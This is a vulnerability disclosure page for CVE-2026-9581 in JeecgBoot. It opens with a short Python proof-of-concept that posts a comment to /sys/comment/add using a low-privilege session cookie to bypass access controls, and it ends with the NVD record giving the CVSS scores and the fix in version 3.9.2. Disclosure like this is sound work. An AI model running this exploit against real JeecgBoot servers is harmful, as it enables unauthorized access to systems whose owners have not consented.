CVE-2026-9581

import requests def exploit(target_url, session_cookie): """ PoC for CVE-2026-9581: JeecgBoot Access Control Bypass This script attempts to add a comment using a low-privilege session. """ headers = { "Cookie": f"JSESSIONID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Target endpoint vulnerable to improper access controls endpoint = f"{target_url}/sys/comment/add" # Malicious payload to test access control bypass payload = { "content": "PoC Test Comment - Unauthorized Access", "entityId": "1", "tableName": "test_table" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Access control bypassed.") return True else: print("[-] Exploit failed or patched.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False # Usage # exploit("http://target-ip", "low_privilege_cookie_value")

{"cve": {"id": "CVE-2026-9581", "sourceIdentifier": "[email protected]", "published": "2026-05-26T21:16:45.327", "lastModified": "2026-05-27T14:50:47.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in JeecgBoot up to 3.9.1. The impacted element is an unknown function of the file /sys/comment/add. Such manipulation leads to improper access controls. The attack can be executed remotely. The exploit is publicly available and might be used. Upgrading to version 3.9.2 is sufficient to resolve this issue. Upgrading the affected component is recommended."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/jeecgboot/JeecgBoot/", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9598", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9598#issuecomment-4385719753", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/releases/tag/v3.9.2", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/817918", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365637", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365637/cti", "source": "[email protected]"}]}}